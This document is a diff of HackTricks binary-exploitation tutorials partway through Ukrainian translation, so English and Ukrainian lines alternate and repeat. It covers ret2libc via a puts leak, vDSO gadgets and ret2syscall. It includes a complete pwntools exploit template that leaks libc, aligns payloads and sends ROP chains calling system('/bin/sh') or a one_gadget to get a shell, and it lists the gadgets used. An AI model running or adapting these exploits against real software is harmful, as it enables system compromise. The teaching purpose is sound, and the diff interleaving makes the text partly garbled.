## 2- Finding Gadgets
Now we need to find ROP gadgets inside the binary. This ROP gadgets will be useful to call `puts`to find the **libc** being used, and later to **launch the final exploit**.
## 2- Знаходження гаджетів
Тепер нам потрібно знайти ROP гаджети всередині бінарного файлу. Ці ROP гаджети будуть корисні для виклику `puts`, щоб знайти **libc**, що використовується, а пізніше для **запуску фінального експлойту**.
```python
PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
MAIN_PLT = elf.symbols['main']
@ -89,108 +82,98 @@ log.info("Main start: " + hex(MAIN_PLT))
log.info("Puts plt: " + hex(PUTS_PLT))
log.info("pop rdi; ret gadget: " + hex(POP_RDI))
```
`PUTS_PLT` потрібен для виклику **функції puts**.\
`MAIN_PLT` потрібен для повторного виклику **головної функції** після одного взаємодії, щоб **використати** переповнення **знову** (безкінечні раунди експлуатації). **Він використовується в кінці кожного ROP для повторного виклику програми**.\
**POP_RDI** потрібен для **передачі** **параметра** до викликаної функції.
The `PUTS_PLT` is needed to call the **function puts**.\
The `MAIN_PLT` is needed to call the **main function** again after one interaction to **exploit** the overflow **again** (infinite rounds of exploitation). **It is used at the end of each ROP to call the program again**.\
The **POP_RDI** is needed to **pass** a **parameter** to the called function.
На цьому етапі вам не потрібно нічого виконувати, оскільки все буде знайдено за допомогою pwntools під час виконання.
In this step you don't need to execute anything as everything will be found by pwntools during the execution.
## 3- Finding libc library
Now is time to find which version of the **libc** library is being used. To do so we are going to **leak** the **address** in memory of the **function** `puts`and then we are going to **search** in which **library version** the puts version is in that address.
## 3- Знаходження бібліотеки libc
Тепер час дізнатися, яка версія бібліотеки **libc** використовується. Для цього ми будемо **викривати** **адресу** в пам'яті **функції** `puts`, а потім ми будемо **шукати**, в якій **версії бібліотеки** знаходиться версія puts за цією адресою.
```python
def get_addr(func_name):
FUNC_GOT = elf.got[func_name]
log.info(func_name + " GOT @ " + hex(FUNC_GOT))
# Create rop chain
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
FUNC_GOT = elf.got[func_name]
log.info(func_name + " GOT @ " + hex(FUNC_GOT))
# Create rop chain
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
#Send our rop-chain payload
#p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment
print(p.clean()) # clean socket buffer (read all and print)
p.sendline(rop1)
#Send our rop-chain payload
#p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment
print(p.clean()) # clean socket buffer (read all and print)
p.sendline(rop1)
#Parse leaked address
recieved = p.recvline().strip()
leak = u64(recieved.ljust(8, "\x00"))
log.info("Leaked libc address, "+func_name+": "+ hex(leak))
#If not libc yet, stop here
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))
#Parse leaked address
recieved = p.recvline().strip()
leak = u64(recieved.ljust(8, "\x00"))
log.info("Leaked libc address, "+func_name+": "+ hex(leak))
#If not libc yet, stop here
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))
return hex(leak)
return hex(leak)
get_addr("puts") #Search for puts address in memmory to obtains libc base
if libc == "":
print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)")
p.interactive()
print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)")
p.interactive()
```
To do so, the most important line of the executed code is:
Щоб це зробити, найважливішим рядком виконуваного коду є:
```python
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
```
Це надішле кілька байтів, поки **перезапис** **RIP** не стане можливим: `OFFSET`.\
Потім він встановить **адресу** гаджета `POP_RDI`, щоб наступна адреса (`FUNC_GOT`) була збережена в регістрі **RDI**. Це тому, що ми хочемо **викликати puts**, **передаючи** їй **адресу** `PUTS_GOT`, оскільки адреса в пам'яті функції puts зберігається за адресою, на яку вказує `PUTS_GOT`.\
Після цього буде викликано `PUTS_PLT``PUTS_GOT` всередині **RDI**), щоб puts **прочитала вміст** всередині `PUTS_GOT` (**адресу функції puts в пам'яті**) і **вивела її**.\
Нарешті, **функція main викликається знову**, щоб ми могли знову експлуатувати переповнення.
This will send some bytes util **overwriting** the **RIP** is possible: `OFFSET`.\
Then, it will set the **address** of the gadget `POP_RDI` so the next address (`FUNC_GOT`) will be saved in the **RDI** registry. This is because we want to **call puts** **passing** it the **address** of the `PUTS_GOT`as the address in memory of puts function is saved in the address pointing by `PUTS_GOT`.\
After that, `PUTS_PLT` will be called (with `PUTS_GOT` inside the **RDI**) so puts will **read the content** inside `PUTS_GOT` (**the address of puts function in memory**) and will **print it out**.\
Finally, **main function is called again** so we can exploit the overflow again.
This way we have **tricked puts function** to **print** out the **address** in **memory** of the function **puts** (which is inside **libc** library). Now that we have that address we can **search which libc version is being used**.
Таким чином, ми **обманули функцію puts**, щоб вона **вивела** **адресу** в **пам'яті** функції **puts** (яка знаходиться в бібліотеці **libc**). Тепер, коли ми маємо цю адресу, ми можемо **шукати, яка версія libc використовується**.
![](<../../../../images/image (1049).png>)
As we are **exploiting** some **local** binary it is **not needed** to figure out which version of **libc** is being used (just find the library in `/lib/x86_64-linux-gnu/libc.so.6`).\
But, in a remote exploit case I will explain here how can you find it:
Оскільки ми **експлуатуємо** деякий **локальний** бінарний файл, **не потрібно** з'ясовувати, яка версія **libc** використовується (просто знайдіть бібліотеку в `/lib/x86_64-linux-gnu/libc.so.6`).\
Але в випадку віддаленого експлоїту я поясню, як ви можете це знайти:
### 3.1- Searching for libc version (1)
### 3.1- Пошук версії libc (1)
You can search which library is being used in the web page: [https://libc.blukat.me/](https://libc.blukat.me)\
It will also allow you to download the discovered version of **libc**
Ви можете шукати, яка бібліотека використовується на веб-сторінці: [https://libc.blukat.me/](https://libc.blukat.me)\
Це також дозволить вам завантажити виявлену версію **libc**
![](<../../../../images/image (221).png>)
### 3.2- Searching for libc version (2)
### 3.2- Пошук версії libc (2)
You can also do:
Ви також можете зробити:
- `$ git clone https://github.com/niklasb/libc-database.git`
- `$ cd libc-database`
- `$ ./get`
This will take some time, be patient.\
For this to work we need:
Це займе деякий час, будьте терплячими.\
Для цього нам потрібно:
- Libc symbol name: `puts`
- Leaked libc adddress: `0x7ff629878690`
We can figure out which **libc** that is most likely used.
- Ім'я символу libc: `puts`
- Витік адреси libc: `0x7ff629878690`
Ми можемо з'ясувати, яка **libc** найімовірніше використовується.
```bash
./find puts 0x7ff629878690
ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
archive-glibc (id libc6_2.23-0ubuntu11_amd64)
```
We get 2 matches (you should try the second one if the first one is not working). Download the first one:
Ми отримуємо 2 збіги (ви повинні спробувати друге, якщо перше не працює). Завантажте перше:
```bash
./download libc6_2.23-0ubuntu10_amd64
Getting libc6_2.23-0ubuntu10_amd64
-> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb
-> Downloading package
-> Extracting package
-> Package saved to libs/libc6_2.23-0ubuntu10_amd64
-> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb
-> Downloading package
-> Extracting package
-> Package saved to libs/libc6_2.23-0ubuntu10_amd64
```
Скопіюйте libc з `libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so` до нашого робочого каталогу.
Copy the libc from `libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so` to our working directory.
### 3.3- Other functions to leak
### 3.3- Інші функції для витоку
```python
puts
printf
@ -198,28 +181,24 @@ __libc_start_main
read
gets
```
## 4- Знаходження адреси libc на основі та експлуатація
## 4- Finding based libc address & exploiting
На цьому етапі ми повинні знати, яка бібліотека libc використовується. Оскільки ми експлуатуємо локальний бінарний файл, я використаю лише: `/lib/x86_64-linux-gnu/libc.so.6`
At this point we should know the libc library used. As we are exploiting a local binary I will use just:`/lib/x86_64-linux-gnu/libc.so.6`
Отже, на початку `template.py` змініть змінну **libc** на: `libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Встановіть шлях до бібліотеки, коли знаєте його`
So, at the beginning of `template.py` change the **libc** variable to: `libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Set library path when know it`
Giving the **path** to the **libc library** the rest of the **exploit is going to be automatically calculated**.
Inside the `get_addr`function the **base address of libc** is going to be calculated:
Надавши **шлях** до **бібліотеки libc**, решта **експлуатації буде автоматично розрахована**.
Всередині функції `get_addr` буде розраховано **базову адресу libc**:
```python
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))
```
> [!NOTE]
> Note that **final libc base address must end in 00**. If that's not your case you might have leaked an incorrect library.
Then, the address to the function `system` and the **address** to the string _"/bin/sh"_ are going to be **calculated** from the **base address** of **libc** and given the **libc library.**
> Зверніть увагу, що **кінцева адреса бази libc повинна закінчуватися на 00**. Якщо це не так, ви могли витікати неправильну бібліотеку.
Тоді адреса функції `system` та **адреса** рядка _"/bin/sh"_ будуть **обчислені** з **бази адреси** **libc** та надані **бібліотеці libc.**
```python
BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh
SYSTEM = libc.sym["system"]
@ -228,9 +207,7 @@ EXIT = libc.sym["exit"]
log.info("bin/sh %s " % hex(BINSH))
log.info("system %s " % hex(SYSTEM))
```
Finally, the /bin/sh execution exploit is going to be prepared sent:
Нарешті, експлойт виконання /bin/sh буде підготовлений для відправки:
```python
rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT)
@ -240,65 +217,56 @@ p.sendline(rop2)
#### Interact with the shell #####
p.interactive() #Interact with the conenction
```
Давайте пояснимо цей фінальний ROP.\
Останній ROP (`rop1`) знову викликав функцію main, тому ми можемо **знову експлуатувати** **переповнення** (ось чому `OFFSET` знову тут). Потім ми хочемо викликати `POP_RDI`, вказуючи на **адресу** _"/bin/sh"_ (`BINSH`) і викликати функцію **system** (`SYSTEM`), оскільки адреса _"/bin/sh"_ буде передана як параметр.\
Нарешті, **адреса функції exit** **викликається**, щоб процес **коректно завершився** і не було згенеровано жодних сповіщень.
Let's explain this final ROP.\
The last ROP (`rop1`) ended calling again the main function, then we can **exploit again** the **overflow** (that's why the `OFFSET` is here again). Then, we want to call `POP_RDI` pointing to the **addres** of _"/bin/sh"_ (`BINSH`) and call **system** function (`SYSTEM`) because the address of _"/bin/sh"_ will be passed as a parameter.\
Finally, the **address of exit function** is **called** so the process **exists nicely** and any alert is generated.
**This way the exploit will execute a \_/bin/sh**\_\*\* shell.\*\*
**Таким чином, експлойт виконає \_/bin/sh**\_\*\* оболонку.\*\*
![](<../../../../images/image (165).png>)
## 4(2)- Using ONE_GADGET
## 4(2)- Використання ONE_GADGET
You could also use [**ONE_GADGET** ](https://github.com/david942j/one_gadget)to obtain a shell instead of using **system** and **"/bin/sh". ONE_GADGET** will find inside the libc library some way to obtain a shell using just one **ROP address**.\
However, normally there are some constrains, the most common ones and easy to avoid are like `[rsp+0x30] == NULL` As you control the values inside the **RSP** you just have to send some more NULL values so the constrain is avoided.
Ви також можете використовувати [**ONE_GADGET** ](https://github.com/david942j/one_gadget), щоб отримати оболонку замість використання **system** і **"/bin/sh". ONE_GADGET** знайде в бібліотеці libc спосіб отримати оболонку, використовуючи лише одну **ROP адресу**.\
Однак, зазвичай є деякі обмеження, найпоширеніші та легкі для уникнення - це такі, як `[rsp+0x30] == NULL`. Оскільки ви контролюєте значення всередині **RSP**, вам просто потрібно надіслати ще кілька NULL значень, щоб уникнути обмеження.
![](<../../../../images/image (754).png>)
```python
ONE_GADGET = libc.address + 0x4526a
rop2 = base + p64(ONE_GADGET) + "\x00"*100
```
## EXPLOIT FILE
You can find a template to exploit this vulnerability here:
Ви можете знайти шаблон для експлуатації цієї вразливості тут:
{{#ref}}
rop-leaking-libc-template.md
{{#endref}}
## Common problems
## Загальні проблеми
### MAIN_PLT = elf.symbols\['main'] not found
If the "main" symbol does not exist. Then you can find where is the main code:
### MAIN_PLT = elf.symbols\['main'] не знайдено
Якщо символ "main" не існує. Тоді ви можете знайти, де знаходиться основний код:
```python
objdump -d vuln_binary | grep "\.text"
Disassembly of section .text:
0000000000401080 <.text>:
```
and set the address manually:
і встановіть адресу вручну:
```python
MAIN_PLT = 0x401080
```
### Puts не знайдено
### Puts not found
Якщо бінарний файл не використовує Puts, вам слід перевірити, чи використовує він
If the binary is not using Puts you should check if it is using
### `sh: 1: %s%s%s%s%s%s%s%s: не знайдено`
### `sh: 1: %s%s%s%s%s%s%s%s: not found`
If you find this **error** after creating **all** the exploit: `sh: 1: %s%s%s%s%s%s%s%s: not found`
Try to **subtract 64 bytes to the address of "/bin/sh"**:
Якщо ви знайдете цю **помилку** після створення **всіх** експлойтів: `sh: 1: %s%s%s%s%s%s%s%s: не знайдено`
Спробуйте **відняти 64 байти від адреси "/bin/sh"**:
```python
BINSH = next(libc.search("/bin/sh")) - 64
```
{{#include ../../../../banners/hacktricks-training.md}}

View File

@ -1,11 +1,6 @@
# Leaking libc - template
# Витік libc - шаблон
{{#include ../../../../banners/hacktricks-training.md}}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
```python:template.py
from pwn import ELF, process, ROP, remote, ssh, gdb, cyclic, cyclic_find, log, p64, u64 # Import pwntools
@ -25,25 +20,25 @@ LIBC = "" #ELF("/lib/x86_64-linux-gnu/libc.so.6") #Set library path when know it
ENV = {"LD_PRELOAD": LIBC} if LIBC else {}
if LOCAL:
P = process(LOCAL_BIN, env=ENV) # start the vuln binary
ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
P = process(LOCAL_BIN, env=ENV) # start the vuln binary
ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
elif REMOTETTCP:
P = remote('10.10.10.10',1339) # start the vuln binary
ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
P = remote('10.10.10.10',1339) # start the vuln binary
ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
elif REMOTESSH:
ssh_shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220)
p = ssh_shell.process(REMOTE_BIN) # start the vuln binary
elf = ELF(LOCAL_BIN)# Extract data from binary
rop = ROP(elf)# Find ROP gadgets
ssh_shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220)
p = ssh_shell.process(REMOTE_BIN) # start the vuln binary
elf = ELF(LOCAL_BIN)# Extract data from binary
rop = ROP(elf)# Find ROP gadgets
if GDB and not REMOTETTCP and not REMOTESSH:
# attach gdb and continue
# You can set breakpoints, for example "break *main"
gdb.attach(P.pid, "b *main")
# attach gdb and continue
# You can set breakpoints, for example "break *main"
gdb.attach(P.pid, "b *main")
@ -53,15 +48,15 @@ if GDB and not REMOTETTCP and not REMOTESSH:
OFFSET = b"" #b"A"*264
if OFFSET == b"":
gdb.attach(P.pid, "c") #Attach and continue
payload = cyclic(264)
payload += b"AAAAAAAA"
print(P.clean())
P.sendline(payload)
#x/wx $rsp -- Search for bytes that crashed the application
#print(cyclic_find(0x63616171)) # Find the offset of those bytes
P.interactive()
exit()
gdb.attach(P.pid, "c") #Attach and continue
payload = cyclic(264)
payload += b"AAAAAAAA"
print(P.clean())
P.sendline(payload)
#x/wx $rsp -- Search for bytes that crashed the application
#print(cyclic_find(0x63616171)) # Find the offset of those bytes
P.interactive()
exit()
@ -69,11 +64,11 @@ if OFFSET == b"":
### Find Gadgets ###
####################
try:
libc_func = "puts"
PUTS_PLT = ELF_LOADED.plt['puts'] #PUTS_PLT = ELF_LOADED.symbols["puts"] # This is also valid to call puts
libc_func = "puts"
PUTS_PLT = ELF_LOADED.plt['puts'] #PUTS_PLT = ELF_LOADED.symbols["puts"] # This is also valid to call puts
except:
libc_func = "printf"
PUTS_PLT = ELF_LOADED.plt['printf']
libc_func = "printf"
PUTS_PLT = ELF_LOADED.plt['printf']
MAIN_PLT = ELF_LOADED.symbols['main']
POP_RDI = (ROP_LOADED.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi"
@ -90,54 +85,54 @@ log.info("ret gadget: " + hex(RET))
########################
def generate_payload_aligned(rop):
payload1 = OFFSET + rop
if (len(payload1) % 16) == 0:
return payload1
payload1 = OFFSET + rop
if (len(payload1) % 16) == 0:
return payload1
else:
payload2 = OFFSET + p64(RET) + rop
if (len(payload2) % 16) == 0:
log.info("Payload aligned successfully")
return payload2
else:
log.warning(f"I couldn't align the payload! Len: {len(payload1)}")
return payload1
else:
payload2 = OFFSET + p64(RET) + rop
if (len(payload2) % 16) == 0:
log.info("Payload aligned successfully")
return payload2
else:
log.warning(f"I couldn't align the payload! Len: {len(payload1)}")
return payload1
def get_addr(libc_func):
FUNC_GOT = ELF_LOADED.got[libc_func]
log.info(libc_func + " GOT @ " + hex(FUNC_GOT))
# Create rop chain
rop1 = p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
rop1 = generate_payload_aligned(rop1)
FUNC_GOT = ELF_LOADED.got[libc_func]
log.info(libc_func + " GOT @ " + hex(FUNC_GOT))
# Create rop chain
rop1 = p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
rop1 = generate_payload_aligned(rop1)
# Send our rop-chain payload
#P.sendlineafter("dah?", rop1) #Use this to send the payload when something is received
print(P.clean()) # clean socket buffer (read all and print)
P.sendline(rop1)
# Send our rop-chain payload
#P.sendlineafter("dah?", rop1) #Use this to send the payload when something is received
print(P.clean()) # clean socket buffer (read all and print)
P.sendline(rop1)
# If binary is echoing back the payload, remove that message
recieved = P.recvline().strip()
if OFFSET[:30] in recieved:
recieved = P.recvline().strip()
# If binary is echoing back the payload, remove that message
recieved = P.recvline().strip()
if OFFSET[:30] in recieved:
recieved = P.recvline().strip()
# Parse leaked address
log.info(f"Len rop1: {len(rop1)}")
leak = u64(recieved.ljust(8, b"\x00"))
log.info(f"Leaked LIBC address, {libc_func}: {hex(leak)}")
# Parse leaked address
log.info(f"Len rop1: {len(rop1)}")
leak = u64(recieved.ljust(8, b"\x00"))
log.info(f"Leaked LIBC address, {libc_func}: {hex(leak)}")
# Set lib base address
if LIBC:
LIBC.address = leak - LIBC.symbols[libc_func] #Save LIBC base
print("If LIBC base doesn't end end 00, you might be using an icorrect libc library")
log.info("LIBC base @ %s" % hex(LIBC.address))
# Set lib base address
if LIBC:
LIBC.address = leak - LIBC.symbols[libc_func] #Save LIBC base
print("If LIBC base doesn't end end 00, you might be using an icorrect libc library")
log.info("LIBC base @ %s" % hex(LIBC.address))
# If not LIBC yet, stop here
else:
print("TO CONTINUE) Find the LIBC library and continue with the exploit... (https://LIBC.blukat.me/)")
P.interactive()
# If not LIBC yet, stop here
else:
print("TO CONTINUE) Find the LIBC library and continue with the exploit... (https://LIBC.blukat.me/)")
P.interactive()
return hex(leak)
return hex(leak)
get_addr(libc_func) #Search for puts address in memmory to obtain LIBC base
@ -150,38 +145,38 @@ get_addr(libc_func) #Search for puts address in memmory to obtain LIBC base
## Via One_gadget (https://github.com/david942j/one_gadget)
# gem install one_gadget
def get_one_gadgets(libc):
import string, subprocess
args = ["one_gadget", "-r"]
if len(libc) == 40 and all(x in string.hexdigits for x in libc.hex()):
args += ["-b", libc.hex()]
else:
args += [libc]
try:
one_gadgets = [int(offset) for offset in subprocess.check_output(args).decode('ascii').strip().split()]
except:
print("One_gadget isn't installed")
one_gadgets = []
return
import string, subprocess
args = ["one_gadget", "-r"]
if len(libc) == 40 and all(x in string.hexdigits for x in libc.hex()):
args += ["-b", libc.hex()]
else:
args += [libc]
try:
one_gadgets = [int(offset) for offset in subprocess.check_output(args).decode('ascii').strip().split()]
except:
print("One_gadget isn't installed")
one_gadgets = []
return
rop2 = b""
if USE_ONE_GADGET:
one_gadgets = get_one_gadgets(LIBC)
if one_gadgets:
rop2 = p64(one_gadgets[0]) + "\x00"*100 #Usually this will fullfit the constrains
one_gadgets = get_one_gadgets(LIBC)
if one_gadgets:
rop2 = p64(one_gadgets[0]) + "\x00"*100 #Usually this will fullfit the constrains
## Normal/Long exploitation
if not rop2:
BINSH = next(LIBC.search(b"/bin/sh")) #Verify with find /bin/sh
SYSTEM = LIBC.sym["system"]
EXIT = LIBC.sym["exit"]
BINSH = next(LIBC.search(b"/bin/sh")) #Verify with find /bin/sh
SYSTEM = LIBC.sym["system"]
EXIT = LIBC.sym["exit"]
log.info("POP_RDI %s " % hex(POP_RDI))
log.info("bin/sh %s " % hex(BINSH))
log.info("system %s " % hex(SYSTEM))
log.info("exit %s " % hex(EXIT))
log.info("POP_RDI %s " % hex(POP_RDI))
log.info("bin/sh %s " % hex(BINSH))
log.info("system %s " % hex(SYSTEM))
log.info("exit %s " % hex(EXIT))
rop2 = p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) #p64(EXIT)
rop2 = generate_payload_aligned(rop2)
rop2 = p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) #p64(EXIT)
rop2 = generate_payload_aligned(rop2)
print(P.clean())
@ -189,41 +184,30 @@ P.sendline(rop2)
P.interactive() #Interact with your shell :)
```
## Загальні проблеми
## Common problems
### MAIN_PLT = elf.symbols\['main'] not found
If the "main" symbol does not exist (probably because it's a stripped binary). Then you can just find where is the main code:
### MAIN_PLT = elf.symbols\['main'] не знайдено
Якщо символ "main" не існує (ймовірно, через те, що це стриптований бінарник). Тоді ви можете просто знайти, де знаходиться основний код:
```python
objdump -d vuln_binary | grep "\.text"
Disassembly of section .text:
0000000000401080 <.text>:
```
and set the address manually:
і встановіть адресу вручну:
```python
MAIN_PLT = 0x401080
```
### Puts не знайдено
### Puts not found
Якщо бінарний файл не використовує Puts, ви повинні **перевірити, чи використовує він**
If the binary is not using Puts you should **check if it is using**
### `sh: 1: %s%s%s%s%s%s%s%s: не знайдено`
### `sh: 1: %s%s%s%s%s%s%s%s: not found`
If you find this **error** after creating **all** the exploit: `sh: 1: %s%s%s%s%s%s%s%s: not found`
Try to **subtract 64 bytes to the address of "/bin/sh"**:
Якщо ви знайдете цю **помилку** після створення **всіх** експлойтів: `sh: 1: %s%s%s%s%s%s%s%s: не знайдено`
Спробуйте **відняти 64 байти від адреси "/bin/sh"**:
```python
BINSH = next(libc.search("/bin/sh")) - 64
```
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{{#include ../../../../banners/hacktricks-training.md}}

View File

@ -4,10 +4,9 @@
## Basic Information
There might be **gadgets in the vDSO region**, which is used to change from user mode to kernel mode. In these type of challenges, usually a kernel image is provided to dump the vDSO region.
Following the example from [https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/) it's possible to see how it was possible to dump the vdso section and move it to the host with:
Можуть бути **gadgets в регіоні vDSO**, який використовується для переходу з режиму користувача в режим ядра. У таких завданнях зазвичай надається образ ядра для дампу регіону vDSO.
Слідуючи прикладу з [https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/), можна побачити, як було можливим дампити секцію vdso і перемістити її на хост за допомогою:
```bash
# Find addresses
cat /proc/76/maps
@ -33,9 +32,7 @@ echo '<base64-payload>' | base64 -d | gzip -d - > vdso
file vdso
ROPgadget --binary vdso | grep 'int 0x80'
```
ROP gadgets found:
Знайдені ROP гаджети:
```python
vdso_addr = 0xf7ffc000
@ -54,13 +51,12 @@ or_al_byte_ptr_ebx_pop_edi_pop_ebp_ret_addr = vdso_addr + 0xccb
# 0x0000015cd : pop ebx ; pop esi ; pop ebp ; ret
pop_ebx_pop_esi_pop_ebp_ret = vdso_addr + 0x15cd
```
> [!CAUTION]
> Note therefore how it might be possible to **bypass ASLR abusing the vdso** if the kernel is compiled with CONFIG_COMPAT_VDSO as the vdso address won't be randomized: [https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639](https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639)
> Зверніть увагу, як може бути можливим **обійти ASLR, зловживаючи vdso**, якщо ядро скомпільоване з CONFIG_COMPAT_VDSO, оскільки адреса vdso не буде випадковою: [https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639](https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639)
### ARM64
After dumping and checking the vdso section of a binary in kali 2023.2 arm64, I couldn't find in there any interesting gadget (no way to control registers from values in the stack or to control x30 for a ret) **except a way to call a SROP**. Check more info int eh example from the page:
Після дампу та перевірки секції vdso бінарного файлу в kali 2023.2 arm64, я не зміг знайти там жодного цікавого гаджета (немає способу контролювати регістри з значень у стеку або контролювати x30 для ret) **крім способу викликати SROP**. Перевірте більше інформації в прикладі зі сторінки:
{{#ref}}
srop-sigreturn-oriented-programming/srop-arm64.md

View File

@ -2,26 +2,25 @@
{{#include ../../../banners/hacktricks-training.md}}
## Basic Information
## Основна інформація
This is similar to Ret2lib, however, in this case we won't be calling a function from a library. In this case, everything will be prepared to call the syscall `sys_execve` with some arguments to execute `/bin/sh`. This technique is usually performed on binaries that are compiled statically, so there might be plenty of gadgets and syscall instructions.
Це схоже на Ret2lib, однак у цьому випадку ми не будемо викликати функцію з бібліотеки. У цьому випадку все буде підготовлено для виклику системного виклику `sys_execve` з деякими аргументами для виконання `/bin/sh`. Ця техніка зазвичай виконується на бінарних файлах, які скомпільовані статично, тому може бути багато гаджетів і інструкцій системного виклику.
In order to prepare the call for the **syscall** it's needed the following configuration:
Щоб підготувати виклик для **syscall**, потрібна наступна конфігурація:
- `rax: 59 Specify sys_execve`
- `rdi: ptr to "/bin/sh" specify file to execute`
- `rsi: 0 specify no arguments passed`
- `rdx: 0 specify no environment variables passed`
- `rax: 59 Вказати sys_execve`
- `rdi: ptr до "/bin/sh" вказати файл для виконання`
- `rsi: 0 вказати, що аргументи не передані`
- `rdx: 0 вказати, що змінні середовища не передані`
So, basically it's needed to write the string `/bin/sh` somewhere and then perform the `syscall` (being aware of the padding needed to control the stack). For this, we need a gadget to write `/bin/sh` in a known area.
Отже, в основному потрібно записати рядок `/bin/sh` десь, а потім виконати `syscall` (з урахуванням заповнення, необхідного для контролю стеку). Для цього нам потрібен гаджет, щоб записати `/bin/sh` у відомій області.
> [!TIP]
> Another interesting syscall to call is **`mprotect`** which would allow an attacker to **modify the permissions of a page in memory**. This can be combined with [**ret2shellcode**](../../stack-overflow/stack-shellcode/).
> Ще один цікавий системний виклик для виклику - це **`mprotect`**, який дозволить зловмиснику **змінити дозволи сторінки в пам'яті**. Це можна поєднати з [**ret2shellcode**](../../stack-overflow/stack-shellcode/).
## Register gadgets
Let's start by finding **how to control those registers**:
## Гаджети регістрів
Давайте почнемо з пошуку **як контролювати ці регістри**:
```bash
ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret"
0x0000000000415664 : pop rax ; ret
@ -29,15 +28,13 @@ ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret"
0x00000000004101f3 : pop rsi ; ret
0x00000000004498b5 : pop rdx ; ret
```
З цими адресами можливо **записати вміст у стек і завантажити його в регістри**.
With these addresses it's possible to **write the content in the stack and load it into the registers**.
## Записати рядок
## Write string
### Writable memory
First you need to find a writable place in the memory
### Записувана пам'ять
Спочатку потрібно знайти записуване місце в пам'яті.
```bash
gef> vmmap
[ Legend: Code | Heap | Stack ]
@ -46,26 +43,20 @@ Start End Offset Perm Path
0x00000000006b6000 0x00000000006bc000 0x00000000000b6000 rw- /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
0x00000000006bc000 0x00000000006e0000 0x0000000000000000 rw- [heap]
```
### Записати рядок у пам'ять
### Write String in memory
Then you need to find a way to write arbitrary content in this address
Тоді вам потрібно знайти спосіб записати довільний вміст за цією адресою
```python
ROPgadget --binary speedrun-001 | grep " : mov qword ptr \["
mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx
```
### Автоматизація ROP ланцюга
### Automate ROP chain
The following command creates a full `sys_execve` ROP chain given a static binary when there are write-what-where gadgets and syscall instructions:
Наступна команда створює повний `sys_execve` ROP ланцюг для статичного бінарного файлу, коли є gadgets write-what-where та інструкції syscall:
```bash
ROPgadget --binary vuln --ropchain
```
#### 32 bits
#### 32 біти
```python
'''
Lets write "/bin/sh" to 0x6b6000
@ -87,9 +78,7 @@ rop += popRax
rop += p32(0x6b6000 + 4)
rop += writeGadget
```
#### 64 bits
#### 64 біти
```python
'''
Lets write "/bin/sh" to 0x6b6000
@ -105,17 +94,15 @@ rop += popRax
rop += p64(0x6b6000) # Writable memory
rop += writeGadget #Address to: mov qword ptr [rax], rdx
```
## Відсутність гаджетів
## Lacking Gadgets
If you are **lacking gadgets**, for example to write `/bin/sh` in memory, you can use the **SROP technique to control all the register values** (including RIP and params registers) from the stack:
